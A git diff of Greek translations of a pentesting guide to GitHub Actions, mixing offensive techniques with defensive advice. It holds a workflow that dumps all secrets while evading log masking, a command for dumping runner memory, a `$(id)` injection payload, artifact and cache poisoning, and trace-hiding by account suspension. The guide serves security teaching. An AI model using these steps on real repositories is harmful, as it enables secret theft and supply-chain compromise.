dependency. -- Δημιουργήστε ένα νέο branch με τον κακόβουλο κώδικα shell injection. -- Αλλάξτε το default branch του repo σε αυτό. -- Δημιουργήστε ένα PR από αυτό το branch προς το victim repository. -- Τρέξτε `@dependabot merge` στο PR που άνοιξε το Dependabot στο fork του. -- Το Dependabot θα συγχωνεύσει τις αλλαγές του στο default branch του forked repository σας, ενημερώνοντας το PR στο victim repository και καθιστώντας τώρα το `dependabot[bot]` τον actor του τελευταίου event που πυροδότησε το workflow και χρησιμοποιώντας ένα κακόβουλο όνομα branch. +- Fork the victim repository and enable Dependabot with some outdated dependency. +- Create a new branch with the malicious shell injeciton code. +- Change the default branch of the repo to that one +- Create a PR from this branch to the victim repository. +- Run `@dependabot merge` in the PR Dependabot opened in his fork. +- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name. -### Vulnerable Third Party Github Actions +### Ευάλωτες Third-Party Github Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -Όπως αναφέρεται σε [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), αυτή η Github Action επιτρέπει την πρόσβαση σε artifacts από διαφορετικά workflows και ακόμη repositories. +As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. -Το πρόβλημα είναι ότι αν ο παράμετρος **`path`** δεν έχει οριστεί, το artifact αποσυμπιέζεται στον τρέχοντα κατάλογο και μπορεί να αντικαταστήσει αρχεία που ενδέχεται να χρησιμοποιηθούν αργότερα ή ακόμα και να εκτελεστούν στο workflow. Επομένως, αν το Artifact είναι ευάλωτο, ένας επιτιθέμενος θα μπορούσε να το καταχραστεί για να συμβιβάσει άλλα workflows που εμπιστεύονται το Artifact. +Το πρόβλημα είναι ότι αν ο παράμετρος **`path`** δεν έχει οριστεί, το artifact εξάγεται στον τρέχοντα κατάλογο και μπορεί να αντικαταστήσει αρχεία που αργότερα θα μπορούσαν να χρησιμοποιηθούν ή ακόμα και να εκτελεστούν στο workflow. Επομένως, αν το Artifact είναι ευάλωτο, ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να συμβιβάσει άλλα workflows που εμπιστεύονται το Artifact. Example of vulnerable workflow: ```yaml @@ -376,7 +376,7 @@ with: name: artifact path: ./script.py ``` -Αυτό μπορεί να επιτεθεί με αυτό το workflow: +Αυτό θα μπορούσε να επιτεθεί με αυτή τη ροή εργασίας: ```yaml name: "some workflow" on: pull_request @@ -393,16 +393,16 @@ path: ./script.py ``` --- -## Άλλη Εξωτερική Πρόσβαση +## Άλλες Εξωτερικές Προσβάσεις ### Deleted Namespace Repo Hijacking -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of name**, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. > [!CAUTION] -> Έτσι, αν ένα action χρησιμοποιεί ένα repo από έναν μη-υπάρχον account, εξακολουθεί να είναι πιθανό ότι ένας attacker θα μπορούσε να δημιουργήσει αυτόν τον account και να compromise το action. +> Έτσι, αν ένα action χρησιμοποιεί ένα repo από λογαριασμό που δεν υπάρχει, εξακολουθεί να είναι πιθανό ένας επιτιθέμενος να δημιουργήσει αυτόν τον λογαριασμό και να συμβιβάσει το action. -If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +If other repositories were using **dependencies from this user repos**, an attacker will be able to hijack them. Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- @@ -413,7 +413,7 @@ If other repositories where using **dependencies from this user repos**, an atta ### Cache Poisoning -A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +A cache is maintained between **workflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. {{#ref}} gh-actions-cache-poisoning.md @@ -458,7 +458,7 @@ path: gha-hazmat ``` ### Πρόσβαση σε AWS και GCP μέσω OIDC -Ελέγξτε τις παρακάτω σελίδες: +Check the following pages: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -468,15 +468,15 @@ path: gha-hazmat ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Πρόσβαση σε secrets +### Πρόσβαση σε μυστικά -Αν εισάγετε περιεχόμενο σε ένα script, είναι χρήσιμο να γνωρίζετε πώς μπορείτε να αποκτήσετε πρόσβαση σε secrets: +Αν εισάγετε περιεχόμενο σε ένα script, είναι χρήσιμο να γνωρίζετε πώς μπορείτε να αποκτήσετε πρόσβαση σε μυστικά: -- Εάν το secret ή το token είναι ρυθμισμένο ως **environment variable**, μπορεί να προσπελαστεί απευθείας μέσω του environment χρησιμοποιώντας **`printenv`**. +- Αν το μυστικό ή το token έχει οριστεί ως **μεταβλητή περιβάλλοντος**, μπορεί να προσπελαστεί απευθείας μέσω του περιβάλλοντος χρησιμοποιώντας **`printenv`**.
-Καταγραφή secrets στην έξοδο του Github Action +Λίστα μυστικών στην έξοδο του Github Action ```yaml name: list_env on: @@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Απόκτηση reverse shell με secrets +Πάρτε reverse shell με secrets ```yaml name: revshell on: @@ -526,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- Αν το secret χρησιμοποιείται **απευθείας σε μια έκφραση**, το δημιουργημένο shell script αποθηκεύεται **στο δίσκο** και είναι προσβάσιμο. +- Εάν το secret χρησιμοποιείται **απευθείας σε μια έκφραση**, το παραγόμενο shell script αποθηκεύεται **στο δίσκο** και είναι προσβάσιμο. - ```bash cat /home/runner/work/_temp/* ``` -- Για JavaScript actions τα secrets αποστέλλονται μέσω μεταβλητών περιβάλλοντος +- Για JavaScript actions, τα secrets αποστέλλονται μέσω environment variables - ```bash ps axe | grep node ``` -- Για μια **custom action**, ο κίνδυνος μπορεί να ποικίλει ανάλογα με το πώς ένα πρόγραμμα χρησιμοποιεί το secret που έλαβε από το **argument**: +- Για μια **custom action**, ο κίνδυνος μπορεί να διαφέρει ανάλογα με το πώς ένα πρόγραμμα χρησιμοποιεί το secret που απέκτησε από το **argument**: ```yaml uses: fakeaction/publish@v3 @@ -542,7 +542,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- Εξάγετε όλα τα secrets μέσω του secrets context (collaborator επίπεδο). Ένας contributor με write access μπορεί να τροποποιήσει ένα workflow σε οποιοδήποτε branch για να dump-άρει όλα τα repository/org/environment secrets. Χρησιμοποιήστε διπλό base64 για να παρακάμψετε το GitHub’s log masking και αποκωδικοποιήστε τοπικά: +- Εξακριβώστε όλα τα secrets μέσω του secrets context (collaborator level). Ένας contributor με write access μπορεί να τροποποιήσει ένα workflow σε οποιοδήποτε branch για να αποστείλει (dump) όλα τα repository/org/environment secrets. Χρησιμοποιήστε double base64 για να αποφύγετε το GitHub’s log masking και αποκωδικοποιήστε το τοπικά: ```yaml name: Steal secrets @@ -558,21 +558,21 @@ run: | echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0 ``` -Decode locally: +Αποκωδικοποιήστε το τοπικά: ```bash echo "ZXdv...Zz09" | base64 -d | base64 -d ``` -Tip: για stealth κατά τη διάρκεια testing, κρυπτογραφήστε πριν την εκτύπωση (openssl είναι προεγκατεστημένο στους GitHub-hosted runners). +Tip: για stealth κατά τις δοκιμές, κρυπτογραφήστε πριν την εκτύπωση (openssl είναι προεγκατεστημένο στους GitHub-hosted runners). ### Κατάχρηση Self-hosted runners -Ο τρόπος να βρείτε ποιες **Github Actions εκτελούνται σε μη-github υποδομή** είναι να αναζητήσετε **`runs-on: self-hosted`** στο Github Action configuration yaml. +Ο τρόπος για να βρείτε ποιες **Github Actions εκτελούνται σε υποδομή εκτός GitHub** είναι να αναζητήσετε **`runs-on: self-hosted`** στο Github Action configuration yaml. -Οι **Self-hosted** runners μπορεί να έχουν πρόσβαση σε **επιπλέον ευαίσθητες πληροφορίες**, σε άλλα **δικτυακά συστήματα** (vulnerable endpoints στο δίκτυο; metadata service?) ή, ακόμα και αν είναι απομονωμένοι και καταστραφούν, **πάνω από ένα action μπορεί να τρέξει ταυτόχρονα** και η κακόβουλη να **κλέψει τα secrets** της άλλης. +Οι **Self-hosted** runners μπορεί να έχουν πρόσβαση σε **επιπλέον ευαίσθητες πληροφορίες**, σε άλλα **δικτυακά συστήματα** (ευάλωτα endpoints στο δίκτυο; metadata service?) ή, ακόμη και αν είναι απομονωμένος και θα καταστραφεί, **περισσότερες από μία action μπορεί να τρέχουν ταυτόχρονα** και η κακόβουλη θα μπορούσε να **steal the secrets** της άλλης. -Σε self-hosted runners είναι επίσης δυνατό να αποκτήσετε τα **secrets from the \_Runner.Listener**\_\*\* process\*\*, το οποίο θα περιέχει όλα τα secrets των workflows σε οποιοδήποτε βήμα, κάνοντας dump της μνήμης του: +Σε self-hosted runners είναι επίσης δυνατό να αποκτήσετε τα **secrets from the \_Runner.Listener**\_\*\* process\*\* τα οποία θα περιέχουν όλα τα secrets των workflows σε οποιοδήποτε βήμα, κάνοντας dump τη μνήμη του: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" @@ -581,8 +581,8 @@ sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ prin ### Github Docker Images Registry -Είναι δυνατόν να δημιουργήσετε Github actions που θα **build and store a Docker image inside Github**.\ -Ένα παράδειγμα μπορεί να βρεθεί στο παρακάτω αναδιπλούμενο: +Είναι δυνατό να δημιουργήσετε Github actions που θα **χτίσουν και θα αποθηκεύσουν ένα Docker image μέσα στο Github**.\ +Ένα παράδειγμα υπάρχει στο παρακάτω αναδιπλούμενο:
@@ -624,7 +624,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Τότε, ο χρήστης θα μπορούσε να αναζητήσει **leaked secrets in the Docker image layers:** +Στη συνέχεια, ο χρήστης θα μπορούσε να αναζητήσει για **leaked secrets in the Docker image layers:** {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html @@ -632,18 +632,18 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ### Ευαίσθητες πληροφορίες στα Github Actions logs -Ακόμα και αν το **Github** προσπαθήσει να εντοπίσει **secret values** στα actions logs και να **avoid showing** αυτά, **άλλα ευαίσθητα δεδομένα** που μπορεί να έχουν παραχθεί κατά την εκτέλεση του action δεν θα κρυφτούν. Για παράδειγμα, ένα JWT υπογεγραμμένο με μια μυστική τιμή δεν θα κρυφτεί εκτός αν είναι [ειδικά διαμορφωμένο](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Ακόμα κι αν το **Github** προσπαθεί να **detect secret values** στα actions logs και να **avoid showing** αυτά, **other sensitive data** που μπορεί να έχει παραχθεί κατά την εκτέλεση της action δεν θα κρυφτεί. Για παράδειγμα ένα JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). -## Κάλυψη των ιχνών σας +## Covering your Tracks -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Πρώτα απ' όλα, οποιοδήποτε PR δημιουργηθεί είναι σαφώς ορατό στο κοινό στο Github και στον στοχευόμενο λογαριασμό GitHub. Στο GitHub εξ ορισμού, **δεν μπορούμε να διαγράψουμε ένα PR από το internet**, αλλά υπάρχει μια ανατροπή. Για λογαριασμούς Github που έχουν **suspended** από το Github, όλα τα **PRs διαγράφονται αυτόματα** και αφαιρούνται από το internet. Έτσι, για να κρύψετε τη δραστηριότητά σας πρέπει είτε να ανασταλεί ο **GitHub account** σας είτε να σημαδευτεί ο λογαριασμός σας. Αυτό θα **κρύψει όλες τις δραστηριότητές σας** στο GitHub από το internet (βασικά θα αφαιρέσει όλα τα exploit PR σας) +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Πρώτα απ' όλα, κάθε PR που υποβάλλεται είναι σαφώς ορατό στο κοινό στο Github και στον στοχευόμενο λογαριασμό GitHub. Στο GitHub εξ ορισμού, we **can’t delete a PR of the internet**, αλλά υπάρχει μια ανατροπή. Για λογαριασμούς Github που είναι **suspended** από Github, όλα τα **PRs are automatically deleted** και αφαιρούνται από το internet. Οπότε για να κρύψετε τη δραστηριότητά σας χρειάζεται είτε να κάνετε **GitHub account suspended or get your account flagged**. Αυτό θα **hide all your activities** στο GitHub από το internet (βασικά θα αφαιρέσει όλα τα exploit PR σας) -Μια οργάνωση στο GitHub είναι πολύ προδραστική στο να αναφέρει λογαριασμούς στο GitHub. Το μόνο που χρειάζεται να κάνετε είναι να μοιραστείτε “κάποια πράγματα” σε ένα Issue και θα φροντίσουν ο λογαριασμός σας να ανασταλεί σε 12 ώρες :p και voilà — το exploit σας γίνεται αόρατο στο github. +Μια οργάνωση στο GitHub είναι πολύ προδραστική στην αναφορά λογαριασμών στο GitHub. Το μόνο που χρειάζεται να κάνετε είναι να μοιραστείτε “some stuff” σε ένα Issue και θα φροντίσουν ο λογαριασμός σας να είναι suspended σε 12 ώρες :p και εκεί το έχετε, κάνατε το exploit σας αόρατο στο github. > [!WARNING] -> Ο μόνος τρόπος για μια οργάνωση να καταλάβει ότι έχει στοχοποιηθεί είναι να ελέγξει τα GitHub logs από το SIEM, αφού από το GitHub UI το PR θα είχε αφαιρεθεί. +> Ο μόνος τρόπος για μια οργάνωση να διαπιστώσει ότι έχει στοχοποιηθεί είναι να ελέγξει τα GitHub logs από SIEM καθώς από το GitHub UI το PR θα έχει αφαιρεθεί. -## Αναφορές +## References - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 3133d7bdc..5beea975d 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -4,18 +4,18 @@ ## Κατανόηση του κινδύνου -Το GitHub Actions αποδίδει τις εκφράσεις ${{ ... }} πριν εκτελεστεί το step. Η αποδοσμένη τιμή επικολλάται στο πρόγραμμα του step (για run steps, a shell script). Εάν ενσωματώσετε μη αξιόπιστη είσοδο απευθείας μέσα σε run:, ο attacker ελέγχει μέρος του shell προγράμματος και μπορεί να εκτελέσει αυθαίρετες εντολές. +Το GitHub Actions αποδίδει εκφράσεις ${{ ... }} πριν εκτελεστεί το βήμα. Η αποδοσμένη τιμή επικολλάται στο πρόγραμμα του βήματος (για run steps, ένα shell script). Αν ενθέσετε μη αξιόπιστη είσοδο απευθείας μέσα σε run:, ο επιτιθέμενος ελέγχει μέρος του shell προγράμματος και μπορεί να εκτελέσει αυθαίρετες εντολές. Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts Βασικά σημεία: -- Η απόδοση γίνεται πριν την εκτέλεση. Το run script δημιουργείται με όλες τις εκφράσεις επιλυμένες και στη συνέχεια εκτελείται από το shell. -- Πολλά contexts περιέχουν πεδία ελεγχόμενα από χρήστη ανάλογα με το γεγονός που προκαλεί το trigger (issues, PRs, comments, discussions, forks, stars, κ.λπ.). Δείτε την αναφορά για untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/ -- Το quoting του shell μέσα σε run: δεν αποτελεί αξιόπιστη άμυνα, επειδή η injection συμβαίνει στο στάδιο απόδοσης του template. Οι attackers μπορούν να βγουν από quotes ή να εισάγουν operators μέσω ειδικά κατασκευασμένης εισόδου. +- Η απόδοση (rendering) γίνεται πριν την εκτέλεση. Το run script δημιουργείται με όλες τις εκφράσεις επιλυμένες και στη συνέχεια εκτελείται από το shell. +- Πολλά contexts περιέχουν πεδία που ελέγχονται από χρήστες ανάλογα με το triggering event (issues, PRs, comments, discussions, forks, stars, κ.λπ.). Δείτε την αναφορά για μη αξιόπιστη είσοδο: https://securitylab.github.com/resources/github-actions-untrusted-input/ +- Το quoting του shell μέσα σε run: δεν αποτελεί αξιόπιστη άμυνα, επειδή η injection συμβαίνει στο στάδιο της απόδοσης του template. Οι επιτιθέμενοι μπορούν να διαφύγουν από εισαγωγικά ή να εισάγουν operators μέσω κατασκευασμένης εισόδου. -## Vulnerable pattern → RCE on runner +## Ευάλωτο μοτίβο → RCE on runner -Ευάλωτο workflow (ενεργοποιείται όταν κάποιος ανοίξει ένα νέο issue): +Ευάλωτο workflow (ενεργοποιείται όταν κάποιος ανοίγει ένα νέο issue): ```yaml name: New Issue Created on: @@ -36,7 +36,7 @@ with: github_token: ${{ secrets.GITHUB_TOKEN }} labels: new ``` -Αν ένας επιτιθέμενος ανοίξει ένα issue με τίτλο $(id), το βήμα που αποδίδεται γίνεται: +Εάν ένας attacker ανοίξει ένα issue με τίτλο $(id), το rendered step γίνεται: ```sh echo "New issue $(id) created" ``` @@ -44,12 +44,12 @@ echo "New issue $(id) created" ``` New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created ``` -Γιατί το quoting δεν σας σώζει: -- Οι εκφράσεις αποτιμώνται πρώτα, και μετά εκτελείται το προκύπτον script. Αν η μη αξιόπιστη τιμή περιέχει $(...), `;`, `"`/`'`, ή newlines, μπορεί να τροποποιήσει τη δομή του προγράμματος παρά την παράθεσή σας. +Γιατί τα εισαγωγικά δεν σας σώζουν: +- Οι εκφράσεις αξιολογούνται πρώτα και στη συνέχεια εκτελείται το προκύπτον script. Αν η μη αξιόπιστη τιμή περιέχει $(...), `;`, `"`/`'` ή χαρακτήρες νέας γραμμής, μπορεί να τροποποιήσει τη δομή του προγράμματος παρά τα εισαγωγικά σας. -## Ασφαλές μοτίβο (shell variables via env) +## Ασφαλές πρότυπο (shell variables via env) -Σωστή αντιμετώπιση: αντιγράψτε την μη αξιόπιστη είσοδο σε μια μεταβλητή περιβάλλοντος, και στη συνέχεια χρησιμοποιήστε την εγγενή επέκταση shell ($VAR) στο run script. Μην επαν-ενσωματώνετε με ${{ ... }} μέσα στην εντολή. +Σωστή αντιμετώπιση: αντιγράψτε την μη αξιόπιστη είσοδο σε μια μεταβλητή περιβάλλοντος, και μετά χρησιμοποιήστε την εγγενή επέκταση shell ($VAR) στο script εκτέλεσης. Μην την επανα-ενσωματώνετε με ${{ ... }} μέσα στην εντολή. ```yaml # safe jobs: @@ -62,29 +62,29 @@ TITLE: ${{ github.event.issue.title }} run: | echo "New issue $TITLE created" ``` -Notes: -- Αποφύγετε τη χρήση του ${{ env.TITLE }} μέσα σε run:. Αυτό επανεισάγει το template rendering πίσω στην εντολή και φέρνει τον ίδιο κίνδυνο injection. -- Προτιμήστε τη μεταβίβαση untrusted inputs μέσω του env: mapping και αναφέρετέ τα με $VAR μέσα σε run:. +Σημειώσεις: +- Αποφύγετε τη χρήση ${{ env.TITLE }} μέσα σε run:. Αυτό επανεισάγει το template rendering στην εντολή και φέρνει τον ίδιο κίνδυνο injection. +- Προτιμήστε τη μεταβίβαση μη-αξιόπιστων εισροών μέσω του mapping env: και την αναφορά τους με $VAR μέσα σε run:. ## Reader-triggerable surfaces (treat as untrusted) -Λογαριασμοί με μόνο read permission σε public repositories μπορούν ακόμα να ενεργοποιήσουν πολλά events. Οποιοδήποτε πεδίο σε contexts που προέρχονται από αυτά τα events πρέπει να θεωρείται attacker-controlled εκτός αν αποδειχθεί το αντίθετο. Παραδείγματα: +Λογαριασμοί με μόνο read permission σε δημόσια repositories μπορούν ακόμα να ενεργοποιήσουν πολλά events. Οποιοδήποτε πεδίο σε contexts που προέρχονται από αυτά τα events πρέπει να θεωρείται attacker-controlled εκτός αν αποδειχθεί το αντίθετο. Παραδείγματα: - issues, issue_comment -- discussion, discussion_comment (orgs can restrict discussions) +- discussion, discussion_comment (οι οργανισμοί μπορούν να περιορίσουν τις συζητήσεις) - pull_request, pull_request_review, pull_request_review_comment -- pull_request_target (dangerous if misused, runs in base repo context) +- pull_request_target (επικίνδυνο αν χρησιμοποιηθεί λάθος, τρέχει στο base repo context) - fork (anyone can fork public repos) - watch (starring a repo) - Indirectly via workflow_run/workflow_call chains -Ποια συγκεκριμένα πεδία είναι attacker-controlled εξαρτάται από το event. Συμβουλευτείτε τον οδηγό του GitHub Security Lab για untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/ +Ποια συγκεκριμένα πεδία είναι attacker-controlled εξαρτάται από το event. Συμβουλευτείτε τον οδηγό Untrusted input του GitHub Security Lab: https://securitylab.github.com/resources/github-actions-untrusted-input/ ## Practical tips -- Ελαχιστοποιήστε τη χρήση εκφράσεων μέσα σε run:. Προτιμήστε env: mapping + $VAR. -- Αν πρέπει οπωσδήποτε να μετασχηματίσετε input, κάντε το στο shell χρησιμοποιώντας ασφαλή εργαλεία (printf %q, jq -r, κ.λπ.), ξεκινώντας πάντα από μια shell μεταβλητή. +- Μειώστε στο ελάχιστο τη χρήση expressions μέσα σε run:. Προτιμήστε mapping env: + $VAR. +- Αν πρέπει να μετασχηματίσετε input, κάντε το στο shell χρησιμοποιώντας ασφαλή εργαλεία (printf %q, jq -r, κ.λπ.), ξεκινώντας πάντα από μια shell variable. - Να είστε ιδιαίτερα προσεκτικοί όταν κάνετε interpolation σε branch names, PR titles, usernames, labels, discussion titles, και PR head refs μέσα σε scripts, command-line flags ή file paths. -- Για reusable workflows και composite actions, εφαρμόστε το ίδιο pattern: map στο env και μετά αναφερθείτε με $VAR. +- Για reusable workflows και composite actions, εφαρμόστε το ίδιο μοτίβο: κάντε map σε env και μετά αναφερθείτε με $VAR. ## References diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 2e98be028..a46b0532a 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -1,156 +1,156 @@ -# Βασικές Πληροφορίες για το Github +# Βασικές πληροφορίες για το Github {{#include ../../banners/hacktricks-training.md}} -## Βασική Δομή +## Βασική δομή -Η βασική δομή του περιβάλλοντος του github σε μια μεγάλη **εταιρεία** είναι να έχει ένα **enterprise** το οποίο κατέχει **πολλές organizations** και η κάθε μία από αυτές μπορεί να περιέχει **πολλα repositories** και **πολλές teams.**. Μικρότερες εταιρείες μπορεί να έχουν απλώς **μία organization και κανένα enterprise**. +Η βασική δομή του περιβάλλοντος του github σε μια μεγάλη **company** είναι να έχει ένα **enterprise** το οποίο κατέχει **several organizations** και η καθεμία από αυτές μπορεί να περιέχει **several repositories** και **several teams.**. Μικρότερες εταιρείες μπορεί να έχουν απλώς **own one organization and no enterprises**. -Από την οπτική ενός χρήστη, ένας **user** μπορεί να είναι **μέλος** διαφορετικών **enterprises και organizations**. Μέσα σε αυτές ο χρήστης μπορεί να έχει **διαφορετικούς enterprise, organization και repository ρόλους**. +Από την πλευρά του χρήστη, ένας **user** μπορεί να είναι **member** διαφορετικών **enterprises and organizations**. Μέσα σε αυτές ο χρήστης μπορεί να έχει **different enterprise, organization and repository roles**. -Επιπλέον, ένας χρήστης μπορεί να είναι **μέλος διαφορετικών teams** με διαφορετικούς enterprise, organization ή repository ρόλους. +Επιπλέον, ένας χρήστης μπορεί να είναι **part of different teams** με διαφορετικούς enterprise, organization ή repository ρόλους. -Και τέλος, τα **repositories μπορεί να έχουν ειδικά μηχανιστικά προστασίας**. +Και τέλος, **repositories may have special protection mechanisms**. ## Προνόμια -### Enterprise Roles +### Ρόλοι Enterprise -- **Enterprise owner**: Άτομα με αυτόν τον ρόλο μπορούν να **διαχειρίζονται διαχειριστές, να διαχειρίζονται organizations εντός του enterprise, να διαχειρίζονται ρυθμίσεις του enterprise, να επιβάλλουν πολιτικές σε organizations**. Ωστόσο, **δεν μπορούν να έχουν πρόσβαση σε ρυθμίσεις ή περιεχόμενο των organizations** εκτός αν γίνουν organization owner ή τους δοθεί άμεση πρόσβαση σε ένα repository που ανήκει στην organization. -- **Enterprise members**: Τα μέλη των organizations που ανήκουν στο enterprise σας είναι επίσης **αυτόματα μέλη του enterprise**. +- **Enterprise owner**: Άτομα με αυτόν τον ρόλο μπορούν να **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. Ωστόσο, **cannot access organization settings or content** εκτός αν γίνουν organization owner ή τους δοθεί άμεση πρόσβαση σε ένα repository που ανήκει στην οργάνωση. +- **Enterprise members**: Τα μέλη των οργανώσεων που ανήκουν στο enterprise σας είναι **automatically members of the enterprise**. -### Organization Roles +### Ρόλοι Organization -Σε μια organization οι χρήστες μπορούν να έχουν διαφορετικούς ρόλους: +Σε μια οργάνωση οι χρήστες μπορούν να έχουν διαφορετικούς ρόλους: -- **Organization owners**: Οι organization owners έχουν **πλήρη διοικητική πρόσβαση στην organization**. Αυτός ο ρόλος πρέπει να περιορίζεται, αλλά να μην είναι λιγότεροι από δύο άτομα στην organization σας. -- **Organization members**: Ο **προεπιλεγμένος**, μη-διοικητικός ρόλος για **άτομα σε μια organization** είναι ο organization member. Από προεπιλογή, τα organization members **έχουν μια σειρά δικαιωμάτων**. -- **Billing managers**: Οι billing managers είναι χρήστες που μπορούν να **διαχειρίζονται τις ρυθμίσεις χρέωσης της organization**, όπως πληροφορίες πληρωμής. -- **Security Managers**: Είναι ένας ρόλος που οι organization owners μπορούν να αναθέσουν σε οποιαδήποτε team σε μια organization. Όταν εφαρμόζεται, δίνει σε κάθε μέλος της team δικαιώματα να **διαχειρίζεται security alerts και ρυθμίσεις σε όλη την organization, καθώς και read permissions για όλα τα repositories** στην organization. -- Αν η organization σας έχει security team, μπορείτε να χρησιμοποιήσετε τον ρόλο security manager για να δώσετε στα μέλη της team την ελάχιστη πρόσβαση που χρειάζονται στην organization. -- **Github App managers**: Για να επιτρέψετε σε επιπλέον χρήστες να **διαχειρίζονται GitHub Apps που ανήκουν σε μια organization**, ένας owner μπορεί να τους δώσει δικαιώματα Github App manager. -- **Outside collaborators**: Ένας outside collaborator είναι ένα άτομο που έχει **πρόσβαση σε ένα ή περισσότερα repositories της organization αλλά δεν είναι ρητά μέλος** της organization. +- **Organization owners**: Οι organization owners έχουν **complete administrative access to your organization**. Αυτός ο ρόλος πρέπει να περιορίζεται, αλλά να υπάρχει σε όχι λιγότερα από δύο άτομα στην οργάνωσή σας. +- **Organization members**: Ο **default**, μη-διοικητικός ρόλος για **people in an organization** είναι ο organization member. Από προεπιλογή, τα organization members **have a number of permissions**. +- **Billing managers**: Οι billing managers είναι χρήστες που μπορούν να **manage the billing settings for your organization**, όπως τα στοιχεία πληρωμής. +- **Security Managers**: Είναι ένας ρόλος που οι organization owners μπορούν να αναθέσουν σε οποιαδήποτε ομάδα στην οργάνωση. Όταν εφαρμοστεί, δίνει σε κάθε μέλος της ομάδας άδειες για **manage security alerts and settings across your organization, as well as read permissions for all repositories** στην οργάνωση. +- Αν η οργάνωσή σας έχει security team, μπορείτε να χρησιμοποιήσετε τον ρόλο security manager για να δώσετε στα μέλη της ομάδας την ελάχιστη πρόσβαση που χρειάζονται στην οργάνωση. +- **Github App managers**: Για να επιτρέψετε σε επιπλέον χρήστες να **manage GitHub Apps owned by an organization**, ένας owner μπορεί να τους δώσει GitHub App manager permissions. +- **Outside collaborators**: Ένας outside collaborator είναι ένα άτομο που έχει **access to one or more organization repositories but is not explicitly a member** της οργάνωσης. -Μπορείτε να **συγκρίνετε τα permissions** αυτών των ρόλων σε αυτόν τον πίνακα: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) +Μπορείτε να **compare the permissions** αυτών των ρόλων σε αυτόν τον πίνακα: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Members Privileges +### Προνόμια Μελών -Στο _https://github.com/organizations/\/settings/member_privileges_ μπορείτε να δείτε τα **δικαιώματα που θα έχουν οι χρήστες απλώς επειδή είναι μέλη της organization**. +Στο _https://github.com/organizations/\/settings/member_privileges_ μπορείτε να δείτε τις **permissions users will have just for being part of the organisation**. -Οι ρυθμίσεις που διαμορφώνονται εδώ θα υποδεικνύουν τα ακόλουθα δικαιώματα των μελών της organization: +Οι ρυθμίσεις που έχουν διαμορφωθεί εδώ θα υποδεικνύουν τις 